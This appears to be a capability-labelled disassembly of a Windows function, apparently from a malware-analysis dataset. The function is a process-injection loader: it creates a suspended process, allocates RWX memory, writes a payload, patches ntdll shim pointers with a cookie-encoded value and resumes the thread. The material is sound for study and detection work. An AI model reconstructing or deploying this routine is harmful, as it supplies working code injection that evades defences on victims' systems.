Function at 0x1400012c0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Resume thread
Use process replacement

Disassembly:
push rbp
push rbx
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0x100
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x27], rax
xorps xmm1, xmm1
xor eax, eax
xor ebx, ebx
mov qword [rbp - 0x59], rax
mov dword [rbp + 0x1b], eax
xorps xmm0, xmm0
mov qword [rbp - 0x51], rbx
mov r14, rdx
mov rdx, rcx
movups xmmword [rbp - 0x69], xmm0
movups xmmword [rbp - 0x45], xmm1
movups xmmword [rbp - 0x35], xmm1
movups xmmword [rbp - 0x25], xmm1
movups xmmword [rbp - 0x15], xmm1
movups xmmword [rbp - 5], xmm1
movups xmmword [rbp + 0xb], xmm1
test rcx, rcx
je 0x1400016c7
test r14, r14
je 0x1400016c7
mov qword [rsp + 0x138], rdi
mov ecx, 0x18
lea rdi, [rbp - 0x69]
xor r9d, r9d
rep stosb byte [rdi], al
lea rdi, [rbp - 0x49]
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rbp - 0x69]
mov dword [rbp - 0x49], 0x68
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea rax, [rbp - 0x49]
xor ecx, ecx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1400013ad
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.PROCESS_INIT.exe_ERROR:_0x_lx___Target_process_spawn_failed_n
lea rcx, [0x1400035c0]
call fcn.1400011f0
mov ebx, 0xc0000001
jmp 0x14000169d
mov r8d, dword [r14 + 8]
xor edx, edx
mov rcx, qword [rbp - 0x69]
add r8d, 0x42
mov r9d, 0x3000
mov qword [rsp + 0xf8], r13
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
test rax, rax
jne 0x140001405
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.MEMORY_ERROR:_Virtual_space_allocation_failed___Code_0x_lx_n
lea rcx, [0x1400035c0]
call fcn.1400011f0
mov ebx, 0xc0000001
jmp 0x140001695
mov qword [rsp + 0x130], rsi
lea rcx, str.ntdll.dll
mov qword [rsp + 0xf0], r15
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, ebx
mov r15d, 0x61
mov r10, rax
movsxd rdx, dword [rax + 0x3c]
lea r9, [rax + 0x18]
add r9, rdx
movzx ecx, word [rdx + rax + 0x14]
movzx r8d, word [rdx + rax + 6]
add r9, rcx
test r8d, r8d
je 0x140001488
mov edx, 0x7461
mov r11d, 0x64726d2e
nop word [rax + rax]
movsxd rax, edi
lea rcx, [rax + rax*4]
cmp r11d, dword [r9 + rcx*8]
lea rax, [r9 + rcx*8]
jne 0x140001481
cmp dx, word [rax + 4]
jne 0x140001481
cmp r15b, byte [rax + 6]
je 0x140001595
inc edi
cmp edi, r8d
jl 0x140001460
mov rsi, rbx
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r10, rax
mov edi, ebx
movsxd rdx, dword [rax + 0x3c]
lea r9, [rax + 0x18]
add r9, rdx
movzx ecx, word [rdx + rax + 0x14]
movzx r8d, word [rdx + rax + 6]
add r9, rcx
test r8d, r8d
je 0x1400014e2
mov edx, 0x7461642e
movsxd rax, edi
lea rcx, [rax + rax*4]
cmp edx, dword [r9 + rcx*8]
lea rax, [r9 + rcx*8]
jne 0x1400014db
cmp r15b, byte [rax + 4]
je 0x1400015a0
inc edi
cmp edi, r8d
jl 0x1400014c0
mov rcx, rbx
lea rdi, [rcx + 0x6cf0]
mov r8, rdi
lea rdx, str.SHIM_STATUS:_Interface_enabled_at_vector__p_n
lea rcx, [0x1400035c4]
lea r15, [rsi + 0x270]
call fcn.1400011f0
mov r8, r15
lea rdx, str.DLL_HOOK:_Module_loaded_at_memory_address__p_n
lea rcx, [0x1400035c4]
call fcn.1400011f0
lea rsi, [r13 + 0x42]
mov qword [0x140005059], rdi
lea rcx, str.ntdll.dll
mov qword [0x140005050], rsi
mov qword [str.wwwwwwwwH], rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtQueueApcThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp - 0x69]
lea r8, [0x140005040]
mov r9d, 0x42
mov qword [rbp - 0x51], rax
mov rdx, r13
mov qword [str.ffffffff], rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400015ab
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.MEMORY_WRITE_VIOLATION:_Access_denied___Error_0x_lx_n
jmp 0x140001671
mov esi, dword [rax + 0xc]
add rsi, r10
jmp 0x14000148b
mov ecx, dword [rax + 0xc]
add rcx, r10
jmp 0x1400014e5
mov r9d, dword [r14 + 8]
mov rdx, rsi
mov r8, qword [r14]
mov rcx, qword [rbp - 0x69]
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400015da
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.MEMORY_WRITE_VIOLATION:_Access_denied___Error_0x_lx_n
jmp 0x140001671
mov rcx, qword [rbp - 0x69]
lea r8, [rbp - 0x51]
mov r9d, 1
mov qword [rbp - 0x51], 1
mov rdx, rdi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001611
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.MEMORY_WRITE_VIOLATION:_Access_denied___Error_0x_lx_n
jmp 0x140001671
mov eax, dword [0x7ffe0330]
lea r8, [rbp - 0x51]
mov ecx, eax
mov qword [rsp + 0x20], rbx
and ecx, 0x3f
xor rax, r13
ror rax, cl
mov r9d, 8
mov rcx, qword [rbp - 0x69]
mov rdx, r15
mov qword [rbp - 0x51], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001656
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.MEMORY_WRITE_VIOLATION:_Access_denied___Error_0x_lx_n
jmp 0x140001671
mov rcx, qword [rbp - 0x61]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
jne 0x140001685
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.THREAD_EXEC:_Failed_to_resume_execution___Code__ld_n
mov r8d, eax
lea rcx, [0x1400035c0]
call fcn.1400011f0
mov ebx, 0xc0000001
mov rsi, qword [rsp + 0x130]
mov r15, qword [rsp + 0xf0]
mov r13, qword [rsp + 0xf8]
mov rcx, qword [rbp - 0x61]
mov rdi, qword [rsp + 0x138]
test rcx, rcx
je 0x1400016b4
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x69]
test rcx, rcx
je 0x1400016c3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
jmp 0x1400016cc
mov eax, 0xc000000d
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.140001980
add rsp, 0x100
pop r14
pop rbx
pop rbp
ret